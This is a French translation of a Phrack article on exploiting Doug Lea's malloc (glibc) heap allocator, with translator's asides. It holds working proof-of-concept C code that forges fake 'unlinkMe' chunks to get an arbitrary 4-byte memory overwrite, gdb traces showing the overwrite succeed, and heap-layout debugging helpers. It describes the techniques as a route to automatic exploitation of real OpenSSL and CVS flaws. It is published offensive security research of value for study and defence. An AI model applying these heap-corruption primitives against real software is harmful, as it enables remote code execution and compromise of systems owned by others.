
                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f

|=--------------[ Exploits avancs sur le malloc de Doug Lea  ]---------=|
|=----------------------------------------------------------------------=|
|=-----------------------[ jp <jp@corest.com>|]-------------------------=| 
|=----------------------------------------------------------------------=|

1 - Rsum
2 - Introduction
3 - Automatiser les problmes d'exploitation
4 - Les techniques
  4.1 - La primitive aa4bmo
      4.1.1 - Premier chunk unlinkMe
	    4.1.1.1 - Preuve de concept 1 : chunk unlinkMe
      4.1.2 - Nouveau chunk unlinkMe
  4.2 - Analyse de l'agencement de la heap
      4.2.1 - Preuve de concept 2 : debugging de l'agencement de la heap
  4.3 - Reset de l'agencement - Prdiction de l'agencement initial
      - modle du serveur
  4.4 - Obtenir des informations du processus distant
      4.4.1 - Modifier les donnes utilisateur statiques
              - trouver les DATAs du processus
      4.4.2 - Modifier les entres de l'utilisateur
              - trouver l'endroit du shellcode
	    4.4.2.1 - Preuve de concept 3 : percuter la sortie
      4.4.3 - Modifier les entres de l'utilisateur
              - trouver les donnes de la libc
	    4.4.3.1 - Preuve de concept 4 : librer la sortie
      4.4.4 - Faille base sur la fuite de mmoire de la heap
              - trouver les donnes de la libc
  4.5 - Mauvais traitements sur les informations qui ont fuit
      4.5.1 - Reconnatre la zone
      4.5.2 - Morecore
	    4.5.2.1 - Preuve de concept 5 : jumper avec morecore
      4.5.3 - Force brute sur le GOT de la libc
	    4.5.3.1 - Preuve de concept 6 : force brute sur le GOT de
	              la libc sous-entendue
      4.5.4 - Fingerprinting de la libc
      4.5.5 - Corruption de la zone (haut, dernier reste et
              modification du binaire)
  4.6 - Copier le shellcode " la main"
5 - Conclusions
6 - Remerciements
7 - Rfrences

Annexe 1 - Rsum des structures internes de malloc

---------------------------------------------------------------------------

--[ 1. Rsum

Ce papier dtaille plusieurs techniques qui permettent une
exploitation plus gnrique et fiable des processus qui nous
fournissent la capacit de rcrire une valeur presque arbitraire de 4
octets  n'importe quel endroit.
Des techniques de plus haut niveau seront contruites au-dessus de la
technique basique du unlink() (prsente dans l'article de MaXX [2])
pour exploiter les processus qui permettent  un(e) attaquant(e) de
corrompre le malloc de Doug Lea (l'allocateur de mmoire dynamique par
dfaut de Linux).
unlink() est utilise pour forcer des fuites de mmoire spcifiques
de l'agencement de la mmoire du processus cible. L'information
obtenue est utilise pour exploiter la cible sans aucune connaissance
 priori ou valeurs codes en dur, mme lorsqu'il y a une randomization de
l'adresse de chargement de l'objet principal et/ou des librairies.

Plusieurs ruses seront prsentes au cours de diffrents scnarios,
incluant :
    * ruse spciale des chunks (partie rempart et partie unlikeMe)
    * prise de connaissance de l'agencement de la heap et analyse en
    utilisant les outils de debuggage
    * trouver automatiquement le shellcode inject dans la mmoire du
    processus
    * forcer un processus distant  fournir les adresses des
    structures internes de malloc
    * chercher aprs un pointeur de fonction au sein de la glibc
    * injection du shellcode dans une adresse mmoire connue

La combinaison de ces techniques permet, par exemple, d'exploiter les
faillles "SSLv2 Malformed Client Key Buffer Overflow" de OpenSSL [6]
et "Directory double free" de CVS de faon totalement automatique
(sans avoir  coder en dur un quelconque offset ou adresse fixe cible que
ce soit).

---------------------------------------------------------------------------

--[ 2. Introduction

Soit une faille qui nous permet de corrompre les structures internes
de malloc (i.e. heap overflow, double free(), etc.), nous pouvons dire
qu'elle nous "fournit" la capacit de faire au moins une primitive de
"rcriture de 4 octets reflets presque arbitraires" ['almost arbitrary 4
bytes mirrored overwrite'] (aa4bmo).
Nous disons que c'est une rcriture  "reflet" car l'endroit o nous
crivons moins 8 sera stock dans l'adresse donne par la valeur que
nous crivons plus 12. Notez que nous disons presque arbitraire car
nous ne pouvons crire que des valeurs qui sont crivables, comme
effet secondaire de la copie mirroir.
Le concept de "primitive" a t prcedemment prsent dans l'article
"Advances in format string exploitation" [4] et dans la prsentation
"'About exploits writing" [5].
Les travaux "Vudo - An object superstitiously believed to embody magical
power" de Michael "MaXX" Kaempf [2] et "Once uppon a free()"' [3]
donnent des explications trs dtailles sur comment obtenir la
primitive aa4bmo depuis une faille. A [8] et [9] peuvent tre trouvs
les premiers exemples de l'exploitation base sur malloc.
Nous utiliserons la technique de unlink() de [2] comme mchanisme
basique de bas niveau pour obtenir la primitive aa4bmo, que nous
utiliserons  travers tout l'article pour construire des techniques de
plus au niveau.

                  corruption                     techniques
faille        ->  des structures -> primitive -> de plus haut
                  de malloc                      niveau
----------------------------------------------------------------------
heap oveflow        technique                    librer la sortie
double free() ->    unlink()     ->  aa4bmo   -> percuter la sortie
...                                              partie rempart
						 ...

Cet article  est principalement centr sur la question qui se pose
aprs que nous ayons atteint la primitive aa4bmo : que devrions-nous
faire une fois que nous connaissons un processus nous permettant
de rcrire 4 octets de sa mmoire avec des donnes presque
arbitraires ?
De plus, de petits trucs pour atteindre la primitive aa4bmo de faon
sre sont explique.

Bien que les techniques soient prsentes dans le contexte de
l'exploitation de heap overflow bas sur malloc, elles peuvent trs
bien tre employes par exemple pour aider dans les exploits de format
string ou toute autre faille ou combinaison d'elles, qui nous fournit
les mmes capacits.

La recherche tait centre sur la plate-forme Linux/Intel ; les
sources de glibc-2.2.4, glibc-2.2.5 et glibc-2.3 furent utilises,
principalement le fichier malloc.c (une version mise  jour de malloc
peut tre trouve  [1]). Au long de cet article nous utiliserons
"malloc" pour rfrer  l'implmentation base sur le malloc de Doug
Lea.

---------------------------------------------------------------------------
--] 3. Automatiser les problmes d'exploitation

Lorsqu'on tente de rpondre  la question : "que devrions-nous
faire une fois que nous savons que nous pouvons rcrire 4 octets de
la mmoire du processus avec des donnes presque arbitraires ?", nous
nous trouvons face  plusieurs problmes :

A] Comment pouvons-nous tre srs que nous rcrivons les octets
dsirs avec les octets dsirs ?
Comme la primitive aa4bmo est la couche sous-jacente qui nous permet
d'implmenter les techniques de plus haut niveau, nous avons besoins
d'tre compltement srs que cela fonctionne comme nous le voulons,
mme lorsque nous savons que nous ne savons pas o nos donnes seront
loges. Donc, pour tre utile, la primitive ne devrait pas crasher
pendant le processus exploit.

B] Que devrions-nous crire ?
Nous pourrions crire l'adresse du code que nous avons l'intention
d'excuter, ou nous pourrions modifier une variable du processus. Dans
le cas o nous injectons notre shellcode dans le processus, nous avosn
besoin de connatre sa localisation, qui pourrait varier de mme que
l'tat de la heap/stack du processus en volution.

C] O devrions-nous crire ?
Plusieurs endroits connus peuvent tre rcrits pour modifier le flux
de l'excution, incluant par exemple ceux montrs dans [10], [11],
[12] et [14].
Dans le cas o nous rcrivons un pointeur sur fonction (comme quand
on rcrit le cadre d'une pile, une entre de GOT, un pointeur sur
fonction spcifique d'un processus, setjmp/longjmp, un pointeur sur
fonction d'un descripteur de fichier, etc.), nous avons besoin de
connatre sa localisation prcise. La mme chose arrive si nous
projetons de rcrire une variable d'un processus. Par exemple, une
adresse d'entre de GOT pourrait tre diffrante mme lorsque le code
source est le mme, car la compilation et les paramtres de linkage
peuvent donner un agencement de processus diffrant, comme cela se
produit avec le mme code source compil pour diffrantes
distribitions de Linux.

Tout au long de cet article, nos exemples seront orients vers la
rcriture d'un pointeur sur fonction avec l'adresse du shellcode
inject. Cependant, certaines techniques s'appliquent galement 
d'autres cas.

Les exploits typiques sont bass sur une cible, codant en dur au moins
une des valeurs requises pour l'exploitation, comme l'adresse d'une
entre GOT donne, dpendant de la version du dmon cibl et de la
distribution Linux et de la version de la release. Bien que cela
simplifie le processus d'exploitation, il n'est pas toujours faisable
d'obtenir l'information requise (i.e. un serveur peut tre configur
pour mentir ou ne pas divulguer son numro de version). En plus, nous
ppourrions ne pas avoir l'information dont nous avons besoin pour la
cible. Bruteforcer plus d'un paramtre d'exploit peut ne pas toujours
tre possible, si chacune des valeurs ne peut tre obtenue sparment.
Il y a des techniques bien connues utilises pour amliorer la
fiabilit (probabilit de succs) d'un exploit donn, mais elles ne
sont qu'une aide pour amliorer les chances d'exploitation. Par
exemple, nous pourrions remplir le shellcode avec plus de nops, nous
pourrions galement injecter une plus grande quantit de shellcode
dans le processus (selon le processus tant exploit) deduisant qu'il
y a plus de possibilit de toucher de cette faon. Bien que ces
renforcements amlioreront la fiabilit de notre exploit, ils ne sont
pas suffisants pour qu'un exploit fonctionne toujours sur n'importe
quelle cible. Pour crr un exploit entirement fiable, nous aurons
besoin d'obtenir et l'adresse o notre shellcode est inject et
l'adresse d'un quelconque pointeur sur fonction pour rcrire.

Dans la suite, nous parlons de comment ces exigeances requises
pourraient tre accomplies de faon automatise, sans aucune
connaissance a priori du serveur cible. La plus grande partie de
l'article dtaille comment nous pouvons forcer un processus distant 
laisser fuire les informations requises en utilisant la primitive
aa4bmo.

---------------------------------------------------------------------------
--] 4. Les techniques

--] 4.1 La primitive aa4bmo

--] 4.1.1 Premier morceau de unlinkMe

Pour tre srs que notre primitive fonctionne comme nous l'atttendons,
mme dans des scnarios o nous ne sommes pas en mesure de prdire
totalement la localisation de notre faux morceau inject, nous
construisons le "morceau unlinkMe" suivant :

 -4        -4       o      quoi -8    -11      -15      -19    ...
|--------|--------|--------|--------|--------|--------|--------|...
 tailleB  tailleA    FD       BK
 ----------- nasty chunk -----------|--------|-------------------->
                                            (X)

Nous avons juste besoin d'un appel free() pour claquer notre bloc
aprs le point (X) pour rcire "o" avec "quoi".

Lorsque free() est appel la squence suivant prend place :

- chunk-free() tente de chercher aprs le chunk suivant, elle prend la
  taille du chunk (<0) et l'ajoute  l'adresse du chunk, obtenant
  toujours la tailleA du "nasty chunk" comme dbut du prochain chunk,
  comme toute les tailles aprs le (X) lui sont relatives.
[NDT : je n'ai pas pu/su traduire "chunk" par autre chose que
"morceau" ou "partie". Ce n'est pas vraiment le sens exact ici donc 
partir de maintenant je laisse chunk. Dsol]

- Aprs, a check le bit prev_inuse de notre chunk, mais comme nous le
  mettons (chacune des tailles aprs le point (X) a le bit prev_inuse,
  le bit IS_MMAPPED n'est pas mis) a ne tente pas de consolider en
  arrire (parce que le chunk prcdent "semble" tre allou).

- Enfin, a vrifie si le faux prochain chunk (notre chunk mchant)
  est libre. Ca prend sa taille (-4) pour chercher aprs le chunk
  suivant, obtenant notre fausse tailleB, et check le flag prev_inuse,
  qui n'est pas mis. Donc, a tente de unlinker notre chunk mchant
  depuis lui pour l'unir avec le chunk en train d'tre libr.

- Lorsque unlink() est appel, nous obtenons la primitive aa4bmo. La
  technique du unlink() est dcrite dans [2] et [3].

4.1.1.1 - Preuve de concept 1 : chunk unlinkMe

Nous utiliserons le code suivant pour montrer d'une faon simple le
chunk unlinkMe en action :

#define WHAT_2_WRITE  0xbfffff00
#define WHERE_2_WRITE 0xbfffff00
#define SZ            256
#define SOMEOFFSET    5 + (rand() % (SZ-1))
#define PREV_INUSE    1
#define IS_MMAP       2
int main(void){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = WHAT_2_WRITE;
   unlinkMe[i++] = WHERE_2_WRITE-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return 0;
}

Breakpoint 3, free (mem=0x804987c) at heapy.c:3176

     if (mem == 0)    /* free(0) est sans effet */
3181      p = mem2chunk(mem);
3185      if (chunk_is_mmapped(p))    /* librer la mmoire mmappe */

Nous n'avons pas mis le bit IS_MAPPED.

3193      ar_ptr = arena_for_ptr(p);
3203      (void)mutex_lock(&ar_ptr->mutex);
3205      chunk_free(ar_ptr, p);

Aprs quelques vrifications, nous atteignons chunk_free().

(gdb) s
chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221

Voyons  quoi ressemble notre chunk  un endroit au hasard...

(gdb) x/20x p
0x8049874:      0xfffffd71      0xfffffd6d      0xfffffd69      0xfffffd65
0x8049884:      0xfffffd61      0xfffffd5d      0xfffffd59      0xfffffd55
0x8049894:      0xfffffd51      0xfffffd4d      0xfffffd49      0xfffffd45
0x80498a4:      0xfffffd41      0xfffffd3d      0xfffffd39      0xfffffd35
0x80498b4:      0xfffffd31      0xfffffd2d      0xfffffd29 0xfffffd25

Nous avons dump le chunk en inclant son en-tte, comme reu par
chunk,_free().

3221      INTERNAL_SIZE_T hd = p->size; /* its head field */
3235      sz = hd & ~PREV_INUSE;

(gdb) p/x hd
$5 = 0xfffffd6d
(gdb) p/x sz
$6 = 0xfffffd6c

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);

En utilisant la taille relative ngative, chunk_free() obtiens le
chunk suivant, voyons quel est le chunk "suivant" :

(gdb) x/20x next
0x80495e0:      0xfffffffc      0xfffffffc      0xbfffff00      0xbffffef8
0x80495f0:      0xfffffff5      0xfffffff1      0xffffffed      0xffffffe9
0x8049600:      0xffffffe5      0xffffffe1      0xffffffdd      0xffffffd9
0x8049610:      0xffffffd5      0xffffffd1      0xffffffcd      0xffffffc9
0x8049620:      0xffffffc5      0xffffffc1      0xffffffbd      0xffffffb9

(gdb) p/x nextsz
$7 = 0xfffffffc

C'est notre chunk mchant...

3239      if (next == top(ar_ptr))    /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))   /* consolidate backward */

Nous vitons la consolidation en arrire, car nous mettons le bit
prev_inuse.

3294      if (!(inuse_bit_at_offset(next, nextsz)))   
                /* consolidate forward */

Mais nous forons une consolidation en avant. La macro
inuse_bit_at_offset() ajoute nextsz (-4)  l'adresse de notre chnuk
mchant, et cherche aprs le bit PREV_INUSE dans notre autre taille
-4.

3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);

unlink() est appele avec nos valeurs fournies : 0xbffffef8 et
0xbfffff00 comme pointeurs vers l'avant et vers l'arrire (a ne
crash pas, car ce sont des adresses valides).

             next = chunk_at_offset(p, sz);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);

fronlink() est appele et notre chunk est insr dans le bit propre.

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0
   bin 126 @ 0x40018430
      free_chunk @ 0x80498d8 - size 0xfffffd64

Le chunk a t insr dans l'un des bins les plus gros... En
consquence de sa taille "ngative".
Le processus ne crashera pas si nous sommes capables de maintenir cet
tat. Si plus d'appels free() touchent notre chunk, a ne crashera
pas. Mais il crashera dans le cas o un appel malloc() ne trouve
aucun chunk libre pour satisfaire le besoin d'allocation et tente de
sparer l'un des bins dans le bin numro 126, car il tentera de
calculer o est le chunk aprs le faux, sortant du rang des adresses
valides  cause de la grosse taille "ngative" (ceci ne pourrait pas
arriver dans un scnario o il y a assez de mmoire alloue entre le
faux chunk et le chunk du haut, forcer cet agencement n'est pas trs
difficile lorsque le serveur cible n'impose pas de limite srre  nos
requtes de taille).

Nous pouvons vrifier les rsultats de la primitive aa4bmo :

(gdb) x/20x 0xbfffff00

                                !!!!!!!!!!                      !!!!!!!!!!
0xbfffff00:     0xbfffff00      0x414c0065      0x653d474e      0xbffffef8
0xbfffff10:     0x6f73692e      0x39353838      0x53003531      0x415f4853
0xbfffff20:     0x41504b53      0x2f3d5353      0x2f727375      0x6562696c
0xbfffff30:     0x2f636578      0x6e65706f      0x2f687373      0x6d6f6e67
0xbfffff40:     0x73732d65      0x73612d68      0x7361706b      0x4f480073


Si nous ajoutons quelques faux appels  free() de la faon suivante :

for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET);

Nous obtenons par exemple le rsultat suivant :

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 126 @ 0x40018430
      free_chunk @ 0x8049958 - size 0x8049958
      free_chunk @ 0x8049954 - size 0xfffffd68
      free_chunk @ 0x8049928 - size 0xfffffd94
      free_chunk @ 0x8049820 - size 0x40018430
      free_chunk @ 0x80499c4 - size 0xfffffcf8
      free_chunk @ 0x8049818 - size 0xfffffea4

sans crasher le processus.

--] 4.1.2 - Nouveau chunk unlinkMe

Les changements introduits dans les nouvelles versions de la libc
(glibc-2.3 par exemple) affectent notre chunk unlikeMe. Le problme
principal pour nous est relatif  l'addition d'un bit de
plus. SIZE_BITS a t modifie, de

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED)

 :

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)

Le nouveau flag, NON_MAIN_ARENA est dfini comme ceci :

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
   from a non-main arena.  This is only set immediately before handing
   the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4

[
/* le champ taille est or- avec NON_MAIN_ARENA si le chunk a t
obtenu depuis une zone non-principale. C'est seulement immdiatement
mis avant de donner le chunk  l'utilisateur, ci ncessaire. */
]

Ceci fait que notre chunk unlinkMe faute en deux points dans les
systmes utilisant une nouvelle libc.

Notre premier problme est situ dans le code suivant :

public_fREe(Void_t* mem)
{
...
  ar_ptr = arena_for_chunk(p);
...
  _int_free(ar_ptr, mem);
...

o :

#define arena_for_chunk(ptr) \
 (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)

et 

/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

Si heap_for_ptr() est appele lors du traitement de notre faux chunk,
le processus crash de la faon suivante :

0x42074a04 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a04 <free+84>:      and    $0x4,%edx
(gdb) x/20x $edx
0xffffffdd:     Cannot access memory at address 0xffffffdd

0x42074a07 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a07 <free+87>:      je     0x42074a52 <free+162>

0x42074a09 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a09 <free+89>:      and    $0xfff00000,%eax

0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi
(gdb) x/x $eax
0x8000000:      Cannot access memory at address 0x8000000

Program received signal SIGSEGV, Segmentation fault.
0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi


Ensuite, notre second problme se situe lorsque la taille fournie est
masque avec le SIZE_BITS. L'ancien code ressemblait  ceci :

      nextsz = chunksize(next);
0x400152e2 <chunk_free+64>:        mov    0x4(%edx),%ecx
0x400152e5 <chunk_free+67>:        and    $0xfffffffc,%ecx

et le nouveau code est :

      nextsize = chunksize(nextchunk);
0x42073fe0 <_int_free+112>:     mov    0x4(%ecx),%eax
0x42073fe3 <_int_free+115>:     mov    %ecx,0xffffffec(%ebp)
0x42073fe6 <_int_free+118>:     mov    %eax,0xffffffe4(%ebp)
0x42073fe9 <_int_free+121>:     and    $0xfffffff8,%eax

Donc, nous ne pouvons plus utiliser -4, la plus petite taille que nous
pouvons fournir est -8.
Mais en plus, nous ne sommes plus capables de faire pointer chaque
chunk vers notre chunk mchant. Le code suivant montre notre nouveau
chunk unlikME qui rsoud les deux problmes :

unsigned long *aa4bmoPrimitive(unsigned long what, 
                               unsigned long where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
    // 1st nasty chunk
   unlinkMe[i++] = -4;    // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
    // 2nd nasty chunk
   unlinkMe[i++] = -4; // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
            // relative negative offset to 1st nasty chunk
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
            // relative negative offset to 2nd nasty chunk
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}

Le processus est similaire  celui expliqu prcedemment pour la
premire version du chunk unlinkMe. A prsent, nous utilisons deux
chunks mchants, pour te capables de pointer chaque chunk vers l'un
deux. En plus, nous avons ajout un -4 (flag PREV_INUSE non mis) avant
chacun des chunks mchants, qui est accd dans l'tape 3 de la
section "4.1.1 Premier chunk unlinkMe", puisque -8 est la plus petite
taille que nous pouvons fournir.

Cette nouvelle version du chunk unlinkMe fonctionne dans les anciennes
et les nouvelles versions de libc. Au cours de l'article la plupart
des codes des preuves de concept utilisent la premire version, en
remplacer la fonction aa4bmoPrimitive() est suffisant pour obtenir une
version update.

---------------------------------------------------------------------------

--] 4.2 Analyse de l'agencement de la heap

[NDT : Bon vu que a fait plus de deux semaines que j'avais pas le
temps/courage de bosser sur la traduction de ce texte, que j'avais moi-mme
fix le deadline au 15 Octobre, et que nous sommes le 22, je m'y remets :-)
Greets  Emilie, Elodie, Placebo et aux Mathmatiques pour avoir caus ce
retard inexcusable...]
[NDT : Dsol pour cette digression sans aucun sens ni rapport avec le
texte, mais le traducteur a besoin de se motiver un peu l (chouette,il ne
me reste plus qu'une trentaine de pages  traduire ;-). Donc, Aphex Twin -
Drukqs dans les oreilles, et on y va...]

Vous voudrez peut-tre lire la section "Annexe I - survol des structures
internes de malloc avant d'aller plus loin.
Analyser l'agencement de la heap du processus cibl et son volution permet
de comprendre ce qui se passe dans la heap du processus  chaque instant,
son tat, volution, changements, etc. . Ceci permet de prdire le
comportement de l'allocateur et sa raction  chacune de cos entres.
Etre capable de prdire l'volution de l'agencement de la heap, et
l'utiliser  notre avantage est etrmement important pour obtenir un
exploit fiable.
Pour atteindre ceci, nous aurons besoin de comprendre le comportement de
l'allocation du processus (i.e. si le processus alloue de larges structures
pour chaque connexion, si beaucoup de trous de chunks/heap libres sont
gnrs par un handler de commande spcifique, etc.), laquelle de nos
entres pourraient tre utilise pour forcer une grosse/petite allocation,
etc.
Nous devons porter attention  tous les usages des routines de malloc, et
comment/o nous pourrions tre capables de les influencer via nos entres
de faon  ce qu'une situation sre soit atteinte.
Par exemple, dans un scnario de faille de double free(), nous savons que
le second appel free() (essayant de librer de la mmoire dj libre), va
probablement crasher le processus. Selon l'volution de l'agencement de la
heap entre le premier free() et le second free(), la portion de mmoire
libre deux fois pourrait : ne pas avoir chang, avoir t ralloue
plusieurs fois, avoir t unie  d'autres chunks ou avoir t rcrite et
libre.

Les principaux facteurs que nous devons reconnatre incluent :

A] la taille du chunk : le processus a-t-il allou de gros chunks de
   mmoire ? notre entre est-elle stocke dans la heap ? quelles commandes
   sont stockes dans la heap ? Existe-t-il une taille limite  notre
   entre ? Suis-je capable de forcer une extension par le haut de la heap
   (top_chunk) ?
B] comportement de l'allocation : les chunks sont-ils allous pour chacune
   de nos connexions ? quelle taille ? les chunks sont-ils allous
   priodiquement ? les chunks sont-ils librs priodiquement ?
   (i.e. garbage collector asynchrone, laguage du cache, tampons de
   sortie, etc.)
C] trous dans la heap : le processus laisse-t-il des trous ? quand ? o ?
   de quelle taille ? pouvons-nous remplir le trou avec notre entre ?
   pouvons-nous forcer la condition d'overflow dans ce trou ? qu'est ce qui
   est situ aprs le trou ? sommes-nous capables de forcer la crtion de
   trous ?
D] agencement original de la heap : l'agencement de la heap est-il
   prdictible aprs l'initialisation du processus ? aprs avoir accept la
   connection d'un client ? (ceci est relatif au mode serveur)

Au cours de nos tests, nous utilisons une version adapte d'une
implmentation relle de malloc prise de la glibc, qui a t modifie pour
gnrer des sorties de dbugging pour chaque tape des algorithmes de
l'allocateur, plus trois fonctions helper ajoute pour dumper l'agencement
et l'tat de la heap.
Ceci nous permet de comprendre ce qui se passe pendant l'exploitation,
l'tat actuel des structures internes de l'allocateur, comment notre entre
les affecte, l'agencement de la heap, etc.
Voici le code des fonctions que nous utiliserons pour dumper l'tat de la
heap :

static void
#if __STD_C
heap_dump(arena *ar_ptr)
#else
heap_dump(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP DUMP ---\n");
  fprintf(stderr,
            "            ADDRESS   SIZE               FD            BK\n");

  fprintf(stderr,"sbrk_base %p\n",
          (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & 
            ~MALLOC_ALIGN_MASK));

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;) {
    fprintf(stderr, "chunk     %p 0x%.4x", p, (long)p->size);

    if(p == top(ar_ptr)) {
      fprintf(stderr, " (T)\n");
      break;
    } else if(p->size == (0|PREV_INUSE)) {
      fprintf(stderr, " (Z)\n");
      break;
    }

    if(inuse(p))
       fprintf(stderr," (A)");
    else
       fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk);

    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr)))
       fprintf(stderr," (LR)");
    else if(p->fd==p->bk & ~inuse(p))
       fprintf(stderr," (LC)");

    fprintf(stderr,"\n");
    p = next_chunk(p);
  }
  fprintf(stderr,"sbrk_end  %p\n",sbrk_base+sbrked_mem);
}



static void
#if __STD_C
heap_layout(arena *ar_ptr)
#else
heap_layout(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP LAYOUT ---\n");

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;p=next_chunk(p)) {
    if(p==top(ar_ptr)) {
       fprintf(stderr,"|T|\n\n");
       break;
    }
    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) {
       fprintf(stderr,"|L|");
       continue;
    }
    if(inuse(p)) {
       fprintf(stderr,"|A|");
       continue;
    }
       fprintf(stderr,"|%lu|",bin_index(p->size));
       continue;
    }
  }
}



static void
#if __STD_C
bin_dump(arena *ar_ptr)
#else
bin_dump(ar_ptr) arena *ar_ptr;
#endif
{
  int i;
  mbinptr b;
  mchunkptr p;

  fprintf(stderr,"\n--- BIN DUMP ---\n");

  (void)mutex_lock(&ar_ptr->mutex);

  fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n",
         ar_ptr,top(ar_ptr),chunksize(top(ar_ptr)));

  for (i = 1; i < NAV; ++i)
  {
    char f = 0;
    b = bin_at(ar_ptr, i);
    for (p = last(b); p != b; p = p->bk)
    {
      if(!f){
         f = 1;
         fprintf(stderr,"   bin %d @ %p\n",i,b);
      }
      fprintf(stderr,"      free_chunk @ %p - size 0x%.4x\n",
             p,chunksize(p));
    }
  (void)mutex_unlock(&ar_ptr->mutex);
  fprintf(stderr,"\n");
}

[NDT : Je me rends compte que je n'ai aucune traduction pour le mot heap (
vrai dire je n'ai qu'une vague ide de ce que a reprsente, mais je n'ai
pas trouv de mot,  par "tas"... J'ai traduit "layout" par "agencement",
mot un peu agaant mais je fais ce que je peux, hein :). Chunk signifie
"morceau", "portion", mais a ne colle pas trop alors je laisse.
Pour tout commentaire  ce sujet, e-mail.]



--] 4.2.1 - Preuve de concept 2 : debugging de l'agencement de la heap

Nous utiliserons le code suivant pour montrer comment les fonctions de
debug aident  analyser l'agencement de la heap.

#include <malloc.h>
int main(void){
        void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata;
        curly = malloc(256);
        larry = malloc(256);
        moe = malloc(256);
        po = malloc(256);
        lala = malloc(256);
        free(larry);
        free(po);
        tw = malloc(128);
        piniata = malloc(128);
        dipsi = malloc(1500);
        free(dipsi);
        free(lala);
}

La section exemple de debugging aide  comprendre les algorithmes de base
de malloc et les structures de donnes :

(gdb) set env LD_PRELOAD ./heapy.so

Nous passons outre le vrai malloc avec nos fonctions de degguging, heapy.so
inclut donc les fonctions de dumping de l'agencement de la heap.

(gdb) r
Starting program: /home/jp/cerebro/heapy/debugging_sample

4               curly = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    extended top chunk:
        previous size 0x0
        new top 0x80496a0 size 0x961
        returning 0x8049598 from top chunk

(gdb) p heap_dump(0x40018040)

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0961 (T)
sbrk_end  0x804a000

(gdb) p bin_dump(0x40018040)

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960

(gdb) p heap_layout(0x40018040)

--- HEAP LAYOUT ---
|A||T|

Le premier chunk est allou, notez la diffrence entre la taille requise
(256 octets) et la taille passe  chunk_alloc(). Comme il n'y a pas de
chunk, le haut a besoin d'tre tendu et de la mmoire est demande au
systme d'exploitation. Plus de mmoire que ncessaire est demande,
l'espace restant est allou au "top chunk".
Dans la sortie de heap-dump() le (A) reprsente un chunk allou, alors que
le (T) signifie que le chunk est celui du haut [NDT : "top"]. Notez que la
taille du top chunk (0x961) a son dernier bit mis, indiquant que le chunk
prcdent est allou :

/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use
 */

#define PREV_INUSE 0x1UL

La sortie de bin_dump() ne montre pas de bin, comme il n'y a pas encore de
chunk free, sauf depuis le haut. La sortie de heap_layout() montre juste un
chunk allou juste aprs, en haut.


5               larry = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80496a0 from top chunk
    new top 0x80497a8 size 0x859

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
